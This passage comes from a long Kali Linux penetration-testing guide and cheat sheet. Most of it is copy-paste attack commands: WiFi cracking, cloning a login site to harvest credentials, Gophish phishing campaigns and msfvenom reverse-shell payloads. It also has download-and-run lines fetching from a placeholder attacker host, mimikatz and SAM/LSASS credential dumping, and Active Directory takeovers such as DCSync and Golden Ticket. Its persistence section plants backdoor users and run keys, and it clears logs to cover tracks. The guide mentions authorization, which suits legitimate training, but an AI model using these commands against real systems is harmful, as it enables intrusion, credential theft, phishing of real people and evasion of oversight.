sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
# -w: Wordlist
# Shows: Password if found!
# 7. Stop monitor mode:
sudo airmon-ng stop wlan0mon
WEP Cracking (Outdated but Still Used)
# 1. Start monitor mode (same as above)
# 2. Capture packets:
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w wep wlan0mon
# 3. Generate traffic (if low):
sudo aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF wlan0mon
# Injects: ARP packets (speed up capture)
# 4. Wait for ~40,000 IVs (data packets)
# 5. Crack:
sudo aircrack-ng wep-01.cap
# WEP is WEAK - cracks in seconds!
Social Engineering Toolkit (SET)
What is SET? The Social Engineering Toolkit automates social engineering attacks: phishing, credential harvesting, payload delivery, and MORE! Human hacking made easy!
Basic Usage
# Start SET:
sudo setoolkit
# Main menu:
# 1) Social-Engineering Attacks
# 2) Penetration Testing (Fast-Track)
# 3) Third Party Modules
# 4) Update the Social-Engineer Toolkit
# 5) Update SET configuration
# 6) Help, Credits, and About
# Common attacks:
# Option 1 → Social-Engineering Attacks
# Option 2 → Website Attack Vectors
# Option 3 → Credential Harvester Attack Method
# Option 2 → Site Cloner
# Enter target URL (e.g., https://facebook.com)
# Enter YOUR IP
# SET clones site and hosts on YOUR IP
# Victim visits YOUR_IP → enters credentials → YOU capture them!
Creating Payloads with SET
# Main menu:
# 1) Social-Engineering Attacks
# 4) Create a Payload and Listener
# Select:
# 2) Windows Reverse_TCP Meterpreter
# Enter: YOUR_IP and port (e.g., 4444)
# Creates: payload.exe
# Start listener:
# SET automatically starts Metasploit handler
# Deliver payload to victim (email, USB, etc.)
# Victim executes → YOU get Meterpreter shell!
Gophish (THE Phishing Framework)
What is Gophish? Gophish is THE professional phishing simulation platform with web UI, campaign management, email templates, landing pages, and detailed reporting! Used by security teams worldwide!
Installation & Setup
# Download:
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
cd gophish-v0.12.1-linux-64bit
# Start Gophish:
sudo ./gophish
# Access web UI:
# URL: https://127.0.0.1:3333
# Default: admin / [shown in terminal]
# Change admin password:
# Settings → Change Password
Creating a Phishing Campaign
# 1. Create Sending Profile:
# Sending Profiles → New Profile
# SMTP From: noreply@company.com
# SMTP Host: smtp.gmail.com:587
# Username: your_email@gmail.com
# Password: your_password
# 2. Create Email Template:
# Email Templates → New Template
# Subject: "Important: Reset Your Password"
# HTML: Create convincing email with {{.URL}} placeholder
# {{.URL}} = tracking link to landing page
# 3. Create Landing Page:
# Landing Pages → Import Site
# URL: https://office365.com (clones Microsoft login!)
# Capture Submitted Data: ENABLED
# Capture Passwords: ENABLED
# 4. Create User Group:
# Users & Groups → New Group
# Add: Target email addresses
# 5. Create Campaign:
# Campaigns → New Campaign
# Name: "Password Reset Campaign"
# Email Template: Select template
# Landing Page: Select landing page
# Sending Profile: Select profile
# Groups: Select target group
# Launch: NOW
# 6. Monitor Results:
# Dashboard shows: Emails sent, opened, clicked, submitted data
# Results show: Captured credentials!
Masscan (THE Fastest Port Scanner)
What is Masscan? Masscan is THE fastest port scanner in the world - scans the ENTIRE INTERNET in 6 minutes! Asynchronous TCP/UDP scanning, 10 million packets per second, and MORE!
Basic Usage
# Install:
sudo apt install masscan
# Scan subnet:
sudo masscan 10.10.10.0/24 -p80,443
# Scans: Ports 80 and 443 on entire subnet
# FAST: ~10 seconds for /24!
# Scan all ports:
sudo masscan 10.10.10.50 -p0-65535
# Scans: ALL 65,535 ports
# Scan with rate limit:
sudo masscan 10.10.10.0/24 -p80 --rate 1000
# --rate 1000: 1000 packets per second
# Banner grabbing:
sudo masscan 10.10.10.0/24 -p80 --banners
# Grabs: Service banners (like nmap -sV)
# Output formats:
sudo masscan 10.10.10.0/24 -p80,443 -oL scan.txt
# -oL: List format
sudo masscan 10.10.10.0/24 -p80,443 -oX scan.xml
# -oX: XML format
sudo masscan 10.10.10.0/24 -p80,443 -oG scan.gnmap
# -oG: Greppable format
Masscan vs Nmap
# When to use Masscan:
# - Scanning LARGE networks (thousands of hosts)
# - Need SPEED (masscan = 100x faster!)
# - Initial reconnaissance
# - Port discovery only
# When to use Nmap:
# - Detailed service detection
# - OS fingerprinting
# - NSE scripts
# - Smaller targets (1-100 hosts)
# - Accurate results
# BEST WORKFLOW:
# 1. Masscan for fast port discovery:
sudo masscan 10.10.10.0/24 -p0-65535 --rate 10000 -oL ports.txt
# 2. Parse results:
cat ports.txt | grep "open" | awk '{print $3}' | sort -u > open_ports.txt
# 3. Nmap for detailed scan:
nmap -sV -sC -p $(cat open_ports.txt | tr '\n' ',') 10.10.10.50
# Result: FAST discovery + DETAILED analysis!
Amass (THE Subdomain Enumeration Tool)
What is Amass? Amass is THE OWASP subdomain enumeration tool - uses 100+ data sources (DNS, APIs, web scraping), performs DNS brute-forcing, discovers ASNs, and MORE! Find ALL subdomains!
Installation & Basic Usage
# Install:
sudo apt install amass
# Basic enumeration:
amass enum -d target.com
# Discovers: Subdomains using passive sources
# Passive mode (quiet):
amass enum -passive -d target.com
# Uses: Only public data sources (no DNS queries)
# Active mode (aggressive):
amass enum -active -d target.com
# Performs: DNS brute-force, zone transfers
# Brute-force:
amass enum -brute -d target.com
# Adds: Brute-force subdomain names
# Multiple domains:
amass enum -d target.com,example.com,site.com
Advanced Features
# Use config file (API keys):
amass enum -config ~/.config/amass/config.ini -d target.com
# Enables: AlienVault, Censys, Shodan, VirusTotal APIs
# Output formats:
amass enum -d target.com -o subdomains.txt
# Saves: Plain text list
amass enum -d target.com -json results.json
# Saves: JSON format
# Visualize results:
amass viz -d3 -d target.com
# Creates: D3.js visualization
# Track historical data:
amass track -d target.com
# Monitors: New subdomains over time
# Integration with other tools:
amass enum -d target.com -o subs.txt
cat subs.txt | httpx -silent
# httpx: Check which subdomains are alive
Subdomain Takeover Detection
# Find subdomains:
amass enum -d target.com -o subs.txt
# Check for takeover:
cat subs.txt | while read sub; do
nslookup $sub | grep -i "NXDOMAIN" && echo "$sub - Potential takeover!"
done
# Or use subjack:
subjack -w subs.txt -t 100 -timeout 30 -o takeovers.txt
# Detects: Subdomain takeovers (Heroku, AWS S3, GitHub Pages, etc.)
🏆 ULTIMATE PENTESTING METHODOLOGY MASTER GUIDE
THE COMPLETE 14-PHASE PENTESTING PROCESS: From zero to domain admin - here's the EXACT methodology used by professionals!
Phase 1: Pre-Engagement (Before You Start)
# Define scope:
# - What's in scope? (IP ranges, domains, applications)
# - What's OUT of scope? (production DBs, user data, specific IPs)
# - Authorized attack methods?
# - Time windows? (business hours only? weekends OK?)
# Get it in writing:
# - Signed letter of authorization
# - Rules of engagement document
# - Emergency contacts
# - Legal disclaimers
# Set up infrastructure:
# - Attack box (Kali Linux)
# - VPN connection to client
# - Note-taking system (CherryTree, Joplin, Obsidian)
# - Screenshot tool (Flameshot)
# - Command logging (script, asciinema)
# WHY THIS MATTERS:
# Without proper authorization = JAIL! 🔒
# Document EVERYTHING for your report!
Phase 2: Reconnaissance (Information Gathering)
# Passive reconnaissance (no direct contact):
# - OSINT gathering
# - Shodan searches
# - Certificate transparency logs
# - Google dorking
# - Social media reconnaissance
# - Email harvesting (theHarvester)
# - Subdomain enumeration (Amass)
# Example workflow:
amass enum -d target.com -o subdomains.txt
theHarvester -d target.com -b all
# Result: Company structure, employee emails, technologies used
# Active reconnaissance (direct scanning):
# - Port scanning (masscan + nmap)
# - Service enumeration
# - Technology fingerprinting
# - DNS enumeration
# Example workflow:
masscan 10.10.10.0/24 -p0-65535 --rate 10000 -oL ports.txt
# Parse open ports
nmap -sV -sC -p $(cat ports.txt) 10.10.10.50 -oA nmap_detailed
# Result: All services with versions!
Phase 3: Scanning & Enumeration (Go Deeper)
# For each discovered service, enumerate DEEPLY:
# Web services (80, 443, 8080):
nikto -h http://10.10.10.50
gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
whatweb http://10.10.10.50
# Result: Hidden directories, technology stack
# SMB (139, 445):
enum4linux -a 10.10.10.50
smbmap -H 10.10.10.50
crackmapexec smb 10.10.10.50 --shares
# Result: Shares, users, groups
# FTP (21):
nmap --script ftp-anon -p21 10.10.10.50
# Check: Anonymous FTP access?
# SSH (22):
ssh-audit 10.10.10.50
# Check: Weak ciphers? Old version?
# DNS (53):
dig axfr @10.10.10.50 target.com
dnsenum 10.10.10.50
# Result: Zone transfer? Subdomain names?
# LDAP (389, 636):
ldapsearch -x -h 10.10.10.50 -b "dc=target,dc=com"
# Result: Domain users, groups, computers
# For EVERY service:
# 1. Version identification
# 2. Known vulnerabilities (searchsploit)
# 3. Default credentials
# 4. Misconfigurations
Phase 4: Vulnerability Assessment (Find Weaknesses)
# Automated scanning:
nmap --script vuln 10.10.10.50
nuclei -u http://10.10.10.50 -t ~/nuclei-templates/
nikto -h http://10.10.10.50
# Manual testing:
# - Default credentials (admin/admin, root/toor)
# - SQL injection (sqlmap)
# - XSS (manual testing + Burp)
# - SSRF, XXE, LFI, RFI
# - Insecure deserialization
# - Broken authentication
# Searchsploit for each service:
searchsploit "Apache 2.4.29"
searchsploit "ProFTPD 1.3.5"
# Result: Known exploits for that version
# Prioritize vulnerabilities:
# 1. Critical: RCE, SQL injection (full compromise)
# 2. High: Authentication bypass, privilege escalation
# 3. Medium: Information disclosure, CSRF
# 4. Low: Missing headers, self-XSS
Phase 5: Exploitation (Get Initial Access)
# Try exploits in order:
# 1. Known CVEs (Metasploit, searchsploit)
# 2. Default credentials
# 3. Web vulnerabilities (SQLi, RCE)
# 4. Password attacks (if nothing else works)
# Example: EternalBlue (MS17-010):
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.50
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST YOUR_IP
exploit
# Result: Meterpreter shell as SYSTEM!
# Example: SQL injection:
sqlmap -u "http://10.10.10.50/page.php?id=1" --dbs
sqlmap -u "http://10.10.10.50/page.php?id=1" -D database --tables
sqlmap -u "http://10.10.10.50/page.php?id=1" -D database -T users --dump
sqlmap -u "http://10.10.10.50/page.php?id=1" --os-shell
# Result: RCE via SQL injection!
# Example: Password spray:
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Password123!' --continue-on-success
# Result: Valid credentials found!
# Always:
# - Screenshot everything
# - Save command output
# - Document steps for report
Phase 6: Post-Exploitation (What to Do After Access)
# You have a shell - now what?
# 1. Situational awareness:
whoami
hostname
ipconfig /all # Windows
ifconfig # Linux
systeminfo # Windows
uname -a # Linux
# 2. Stabilize shell:
# If Linux:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
# Result: Fully interactive shell!
# If Windows:
# Upgrade to Meterpreter if possible
# Or use PowerShell for better interactivity
# 3. Maintain access (persistence):
# Create backdoor user:
net user hacker Password123! /add
net localgroup administrators hacker /add
# Schedule task:
schtasks /create /tn "Updater" /tr "C:\Windows\Temp\shell.exe" /sc onlogon
# Registry run key:
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Windows\Temp\shell.exe"
# 4. Cover tracks:
# Clear event logs (Windows):
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
# Clear bash history (Linux):
history -c
rm ~/.bash_history
🎓 Final Words: You're Now a Kali Linux Master!
🌟 What You've Accomplished
You've just completed THE MOST COMPREHENSIVE Kali Linux guide ever created! Let's recap what you now know:
📚 Knowledge Domains Mastered:
1. Digital Forensics: Autopsy, Volatility, Sleuth Kit, timeline analysis, memory forensics
2. Mobile Security: Android pentesting, APK analysis, Frida, Objection, SSL pinning bypass
3. IoT & Hardware: Firmware analysis, UART/JTAG, bus pirate, radio hacking, SDR
4. Cloud Pentesting: AWS, Azure, GCP exploitation, IAM misconfigurations, storage buckets
5. Advanced Wireless: WEP, WPA2, WPA3 Dragonblood, rogue AP, evil twin, wireless pivoting
6. Reverse Engineering: Ghidra, IDA Pro, x64dbg, patching, crackme challenges
7. Advanced Exploitation: Buffer overflows, ROP chains, heap exploitation, format strings
8. Red Team Operations: C2 frameworks, Cobalt Strike, evasion, OPSEC, infrastructure
9. Custom Tool Development: Python exploit development, fuzzing, vulnerability research
10. Physical Security: Lock picking, RFID cloning, badge duplication, social engineering
11. Advanced OSINT: Maltego, theHarvester, Recon-ng, Shodan, Google dorking
12. Complete Attack Labs (12 LABS!):
• Lab 1: Web app pentest (SQLi → file upload → privesc)
• Lab 2: Active Directory (AS-REP → Kerberoasting → DCSync)
• Lab 3: Wireless attacks (WEP/WPA2/WPA3)
• Lab 4: Mobile pentesting (APK → API → Frida)
• Lab 5: Digital forensics (Autopsy → Volatility)
• Lab 6: Buffer overflow (GDB → shellcode → SUID)
• Lab 7: Container escape (Docker/K8s → host)
• Lab 8: RFID cloning (Proxmark3)
• Lab 9: SQLi to system (union → file write → RCE)
• Lab 10: ADCS ESC1 (cert template → domain admin)
• Lab 11: Python RAT (malware development → C2)
• Lab 12: API hacking (JWT → IDOR → GraphQL → RCE)
13. Ultimate Tools Reference: 100+ tools with EVERY flag explained for beginners!
• Aircrack-ng suite (complete WiFi hacking)
• Amass (subdomain enumeration)
• Nmap (THE port scanner - 681 lines of documentation!)
• Metasploit Framework (exploitation + meterpreter + msfvenom)
• And 96 MORE tools documented!
🎯 Skills You Can Now Execute:
✅ Enumerate networks and find vulnerabilities
✅ Exploit web applications (SQLi, XSS, file upload, IDOR)
✅ Compromise Active Directory environments
✅ Crack wireless networks (WEP/WPA/WPA3)
✅ Develop custom exploits and malware
✅ Perform memory and disk forensics
✅ Bypass antivirus and evade detection
✅ Pivot through networks and compromise entire infrastructures
✅ Understand and use ALL major Kali Linux tools
✅ Chain attacks for complete system compromise
📈 Your Next Steps:
1. Practice Platforms:
• HackTheBox: https://hackthebox.eu (beginner → expert boxes)
• TryHackMe: https://tryhackme.com (guided learning paths)
• ProvingGrounds: https://portal.offensive-security.com (OSCP prep)
• PentesterLab: https://pentesterlab.com (web app focus)
• VulnHub: https://vulnhub.com (downloadable VMs)
2. Certifications to Pursue:
• OSCP (Offensive Security Certified Professional) - Industry standard
• PNPT (Practical Network Penetration Tester) - Beginner-friendly
• eCPPT (eLearnSecurity Certified Professional) - Advanced techniques
• CRTO (Certified Red Team Operator) - Red teaming focus
• CRTP (Certified Red Team Professional) - Active Directory
• OSEP (Offensive Security Experienced Penetration Tester) - Advanced
• GXPN (GIAC Exploit Researcher and Advanced Penetration Tester)
3. Build Your Home Lab:
• Active Directory lab: Set up domain controller + workstations
• Docker lab: Vulnerable containers (DVWA, WebGoat, Juice Shop)
• Network lab: pfSense router + multiple VLANs + vulnerable VMs
• Wireless lab: Multiple APs with different encryption
• Malware lab: Isolated network for malware analysis
4. Read These Resources:
• Books:
- "The Web Application Hacker's Handbook" (Stuttard & Pinto)
- "The Hacker Playbook 3" (Peter Kim)
- "Red Team Field Manual" (Ben Clark)
- "Penetration Testing" (Georgia Weidman)
- "Black Hat Python" (Justin Seitz)
• Blogs:
- https://0xdf.gitlab.io (HackTheBox writeups)
- https://ippsec.rocks (video writeups)
- https://book.hacktricks.xyz (pentest techniques encyclopedia)
- https://pentestmonkey.net (cheat sheets)
• YouTube:
- IppSec (HTB walkthroughs)
- John Hammond (CTF + hacking)
- LiveOverflow (binary exploitation)
- TheCyberMentor (PNPT course creator)
5. Join the Community:
• Discord: Join HTB, THM, NetSecFocus, InfoSec Prep servers
• Twitter/X: Follow #infosec, #bugbounty, #oscp hashtags
• Reddit: r/netsec, r/AskNetSec, r/hacking, r/oscp
• Forums: Offensive Security forums, HTB forums
• CTF teams: Join local CTF team, compete in competitions
6. Bug Bounties (Get Paid!):
• HackerOne: https://hackerone.com
• Bugcrowd: https://bugcrowd.com
• Intigriti: https://intigriti.com
• Synack: https://synack.com
• Start with: Programs with "Easy" or "Beginner-friendly" tags
• Focus on: XSS, IDOR, open redirects (common + good payouts)
💪 Final Motivational Words:
You now possess knowledge that 99% of people don't have. You understand how systems break, how attackers think, and how to secure networks. This isn't just a skill—it's a SUPERPOWER!
Remember:
• Practice daily: Solve 1 HTB machine per week minimum
• Document everything: Keep notes in CherryTree/Obsidian
• Legal boundaries: ONLY hack systems you own or have written permission!
• Give back: Write writeups, help beginners, contribute to community
• Stay curious: Technology changes fast—keep learning!
The hacking journey never ends. Every system has vulnerabilities. Every network can be compromised. Your job? Find them first. Secure them best. Become the shield AND the sword.
You're ready. Go break things (legally)! 💀🔥🚀
— This guide was created with love for the hacking community. May your shells always be reverse, your escalations always privileged, and your coffee always strong. Happy hacking! ☕💻
🎯 TOOL SELECTION MATRIX - The Right Tool for Every Job!
CONFUSED ABOUT WHICH TOOL TO USE? Here's the ULTIMATE decision matrix!
Network Scanning & Enumeration
# TASK: Discover live hosts
nmap -sn 10.10.10.0/24 # Ping sweep (FAST)
fping -ag 10.10.10.0/24 2>/dev/null # Alternative
# TASK: Fast port scan (all ports, large network)
masscan 10.10.10.0/24 -p0-65535 --rate 10000 # SPEED
rustscan -a 10.10.10.50 -- -sV -sC # Rust speed + nmap accuracy
# TASK: Detailed port scan (small network)
nmap -sS -sV -sC -p- 10.10.10.50 # Best accuracy
nmap -A 10.10.10.50 # Full scan (OS, version, scripts)
# TASK: UDP scan (often forgotten!)
nmap -sU --top-ports 20 10.10.10.50 # Common UDP ports
sudo nmap -sU -p161,162,69,53 10.10.10.50 # Specific services
# TASK: SMB enumeration
enum4linux -a 10.10.10.50 # All SMB info
crackmapexec smb 10.10.10.50 --shares # Quick shares check
smbclient -L //10.10.10.50 # List shares
smbmap -H 10.10.10.50 -R # Recursive share enumeration
# TASK: LDAP/AD enumeration
ldapsearch -x -h 10.10.10.50 -b "dc=target,dc=com" # Manual LDAP
bloodhound-python -u user -p pass -d target.com -ns 10.10.10.50 -c All # AD mapping
crackmapexec ldap 10.10.10.50 -u user -p pass --users # Quick user list
# DECISION LOGIC:
# Large network (100+ hosts) → Masscan then Nmap
# Small network (1-20 hosts) → Nmap directly
# Windows environment → CrackMapExec + BloodHound
# Initial recon → Nmap -sC -sV
# Stealth needed → Slow scan (-T2), fragmented packets
Web Application Testing
# TASK: Directory/file fuzzing
gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt # Standard
ffuf -u http://10.10.10.50/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt # Fast
feroxbuster -u http://10.10.10.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt # Recursive
# TASK: Subdomain enumeration
gobuster dns -d target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt # DNS brute-force
amass enum -d target.com # Passive (100+ sources)
subfinder -d target.com # Fast & accurate
# TASK: Virtual host fuzzing
ffuf -u http://10.10.10.50 -H "Host: FUZZ.target.com" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1234 # Filter by size
# TASK: Parameter fuzzing
ffuf -u http://10.10.10.50/page?FUZZ=value -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
# TASK: Technology fingerprinting
whatweb http://10.10.10.50 # Quick
wappalyzer (browser extension) # Detailed
nikto -h http://10.10.10.50 # Includes vuln scan
# TASK: SQL injection testing
sqlmap -u "http://10.10.10.50/page.php?id=1" --batch # Auto
# Manual: ' OR 1=1-- in Burp Suite
# TASK: XSS testing
# Manual: in input fields
dalfox url http://10.10.10.50/search?q=test # Auto
# TASK: Comprehensive web scan
nikto -h http://10.10.10.50 # Vuln scanner
nuclei -u http://10.10.10.50 # Template-based
wpscan --url http://10.10.10.50 (if WordPress)
# DECISION LOGIC:
# Fast discovery → FFuf
# Standard pentesting → Gobuster
# Recursive deep scan → Feroxbuster
# SQL injection → SQLmap
# Full manual testing → Burp Suite
# Quick wins → Nikto + Nuclei
Password Attacks
# TASK: Hash cracking (offline)
# MD5/SHA1/NTLM → Hashcat (GPU) or John (CPU)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt # NTLM (GPU)
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # Any hash (CPU)
# TASK: Online password attack (single target)
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.50 # SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/:username=^USER^&password=^PASS^:Invalid" # Web form
# TASK: Password spraying (multiple targets)
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Password123!' --continue-on-success # SMB
crackmapexec winrm 10.10.10.0/24 -u admin -p passwords.txt # WinRM
# TASK: Kerberos attacks
GetUserSPNs.py DOMAIN/user:password -dc-ip 10.10.10.50 -request # Kerberoasting
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.50 # AS-REP roasting
# TASK: Which wordlist?
/usr/share/wordlists/rockyou.txt # Most common (14M passwords)
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt # Top 1M
/usr/share/seclists/Passwords/Default-Credentials/ # Default creds
# TASK: Custom wordlist from target
cewl http://target.com -w custom.txt -d 3 # Scrape website
john --wordlist=custom.txt --rules --stdout > mutated.txt # Add mutations
# DECISION LOGIC:
# Offline hash → Hashcat (if GPU) or John
# Online service → Hydra
# Multiple Windows targets → CrackMapExec
# Active Directory → Impacket tools
# Web form → Burp Intruder or Hydra
# ALWAYS try: admin/admin, root/toor, default credentials FIRST!
Exploitation & Post-Exploitation
# TASK: Find exploit for service
searchsploit "Apache 2.4.29" # Local exploit-db search
msfconsole → search apache 2.4.29 # Metasploit modules
Google: "Apache 2.4.29 exploit" # Public exploits
# TASK: Generate payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o shell.exe # Windows
msfvenom -p linux/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f elf -o shell.elf # Linux
msfvenom -p php/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f raw > shell.php # PHP web shell
# TASK: Start listener
nc -lvnp 4444 # Netcat (simple shell)
msfconsole → use exploit/multi/handler → set payload → run # Meterpreter
# TASK: Upgrade shell
python3 -c 'import pty; pty.spawn("/bin/bash")' # Linux TTY
powershell.exe -c "IEX(New-Object Net.WebClient).DownloadString('http://YOUR_IP/Invoke-PowerShellTcp.ps1')" # Windows PowerShell
# TASK: Linux privilege escalation
wget http://YOUR_IP/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh # Auto enum
sudo -l # Sudo permissions (ALWAYS check first!)
find / -perm -4000 2>/dev/null # SUID binaries
uname -a → searchsploit "Linux Kernel" # Kernel exploit
# TASK: Windows privilege escalation
certutil -urlcache -f http://YOUR_IP/winPEAS.exe winPEAS.exe; .\winPEAS.exe # Auto enum
whoami /priv # Check privileges (SeImpersonate?)
systeminfo # Missing patches?
# If SeImpersonate → PrintSpoofer.exe or JuicyPotato
# TASK: Credential dumping (Windows)
mimikatz.exe → privilege::debug → sekurlsa::logonpasswords # Memory dump
reg save HKLM\SAM sam.save; reg save HKLM\SYSTEM system.save → secretsdump.py # SAM dump
procdump64.exe -ma lsass.exe lsass.dmp → pypykatz lsa minidump lsass.dmp # LSASS dump
# TASK: Lateral movement
psexec.py DOMAIN/user:password@10.10.10.51 # PSExec
wmiexec.py DOMAIN/user:password@10.10.10.51 # WMI
evil-winrm -i 10.10.10.51 -u user -p password # WinRM
xfreerdp /u:user /p:password /v:10.10.10.51 # RDP
# DECISION LOGIC:
# Need GUI → RDP
# Have credentials → PSExec/WMI/WinRM
# Stealth → WMI (less logged)
# Multiple targets → CrackMapExec
# Meterpreter access → PSExec module
Active Directory Attacks
# TASK: Initial AD enumeration (no creds)
crackmapexec smb 10.10.10.0/24 # Identify DCs and hosts
responder -I eth0 -wrf # Capture NetNTLM hashes
nmap --script smb-enum-shares,smb-enum-users -p445 10.10.10.50 # Anonymous SMB
# TASK: Enumeration with low-priv creds
bloodhound-python -u user -p password -d target.com -ns 10.10.10.50 -c All # Map AD
ldapdomaindump -u 'DOMAIN\user' -p password 10.10.10.50 # LDAP dump
crackmapexec smb 10.10.10.0/24 -u user -p password --shares # Share enumeration
# TASK: Kerberoasting (service account hashes)
GetUserSPNs.py DOMAIN/user:password -dc-ip 10.10.10.50 -request -outputfile hashes.txt
hashcat -m 13100 hashes.txt rockyou.txt # Crack offline
# TASK: AS-REP roasting (accounts without pre-auth)
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.50 -format hashcat -outputfile hashes.txt
hashcat -m 18200 hashes.txt rockyou.txt
# TASK: Get Domain Admin
# Option 1: DCSync (if you have replication rights)
secretsdump.py DOMAIN/user:password@10.10.10.50
# Option 2: Zerologon (if vulnerable)
python3 zerologon_exploit.py DC_NAME 10.10.10.50
# Option 3: PrintNightmare (if vulnerable)
python3 CVE-2021-1675.py target.com/user:password@10.10.10.50
# Option 4: NTLM relay
ntlmrelayx.py -t ldap://10.10.10.50 -smb2support --escalate-user lowprivuser
# Option 5: Golden Ticket (after getting krbtgt hash)
ticketer.py -nthash KRBTGT_HASH -domain-sid SID -domain target.com administrator
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass administrator@dc.target.com
# DECISION LOGIC:
# No creds → Responder, AS-REP roasting
# Low-priv creds → BloodHound, Kerberoasting
# Replication rights → DCSync
# Vulnerable DC → Zerologon, PrintNightmare
# krbtgt hash → Golden Ticket (permanent DA!)
📚 ULTIMATE ONE-PAGE CHEAT SHEET
Print this section and keep it next to you during pentests!
Essential One-Liners (Copy-Paste Ready!)
# ============ RECONNAISSANCE ============
# Ping sweep:
nmap -sn 10.10.10.0/24
# Fast full port scan:
nmap -p- --min-rate=1000 -T4 10.10.10.50
# Detailed scan:
nmap -sC -sV -p 22,80,443,445 10.10.10.50
# UDP top 20:
sudo nmap -sU --top-ports 20 10.10.10.50
# ============ WEB ENUMERATION ============
# Directory fuzzing:
gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
# Subdomain enum:
amass enum -d target.com
ffuf -u http://FUZZ.target.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
# SQL injection:
sqlmap -u "http://10.10.10.50/page.php?id=1" --batch --dbs
# Nikto scan:
nikto -h http://10.10.10.50
# ============ SMB/WINDOWS ============
# SMB enum:
enum4linux -a 10.10.10.50
crackmapexec smb 10.10.10.50 --shares
# List shares:
smbclient -L //10.10.10.50
smbmap -H 10.10.10.50
# Password spray:
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'Password123!' --continue-on-success
# ============ SHELLS ============
# Reverse shell listeners:
nc -lvnp 4444 # Netcat
rlwrap nc -lvnp 4444 # Netcat with history
# Generate payloads:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=4444 -f exe -o shell.exe
msfvenom -p linux/x64/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f elf -o shell.elf
# Upgrade Linux shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
# ============ FILE TRANSFER ============
# HTTP server (attacker):
python3 -m http.server 80
# Download (victim Linux):
wget http://YOUR_IP/file
curl http://YOUR_IP/file -o file
# Download (victim Windows):
certutil -urlcache -f http://YOUR_IP/file file
powershell -c "IEX(New-Object Net.WebClient).DownloadFile('http://YOUR_IP/file','file')"
# SMB server (attacker):
impacket-smbserver share $(pwd) -smb2support
# Download (victim Windows):
copy \\YOUR_IP\share\file C:\Windows\Temp\
# ============ PRIVILEGE ESCALATION ============
# Linux automated enum:
wget http://YOUR_IP/linpeas.sh; chmod +x linpeas.sh; ./linpeas.sh
# Linux manual checks:
sudo -l # Sudo permissions
find / -perm -4000 2>/dev/null # SUID binaries
cat /etc/crontab # Cron jobs
# Windows automated enum:
certutil -urlcache -f http://YOUR_IP/winPEAS.exe winPEAS.exe
.\winPEAS.exe
# Windows manual checks:
whoami /priv # Privileges
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic qfe list # Installed patches
# ============ CREDENTIALS ============
# Linux password crack:
unshadow /etc/passwd /etc/shadow > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Windows Mimikatz:
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
# Dump SAM:
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save
secretsdump.py -sam sam.save -system system.save LOCAL
# Hash cracking:
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt # NTLM
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt # MD5
# ============ ACTIVE DIRECTORY ============
# BloodHound:
bloodhound-python -u user -p password -d target.com -ns 10.10.10.50 -c All
# Kerberoasting:
GetUserSPNs.py DOMAIN/user:password -dc-ip 10.10.10.50 -request
# AS-REP roasting:
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip 10.10.10.50
# DCSync:
secretsdump.py DOMAIN/user:password@10.10.10.50
# PSExec:
psexec.py DOMAIN/user:password@10.10.10.50
# Pass-the-Hash:
psexec.py -hashes :NTLM_HASH user@10.10.10.50
# ============ LATERAL MOVEMENT ============
# WinRM:
evil-winrm -i 10.10.10.50 -u user -p password
# RDP:
xfreerdp /u:user /p:password /v:10.10.10.50
# WMI:
wmiexec.py DOMAIN/user:password@10.10.10.50
# ============ PERSISTENCE ============
# Add user (Windows):
net user hacker Password123! /add
net localgroup administrators hacker /add
# Add user (Linux):
useradd -m hacker -s /bin/bash
echo "hacker:Password123!" | chpasswd
usermod -aG sudo hacker
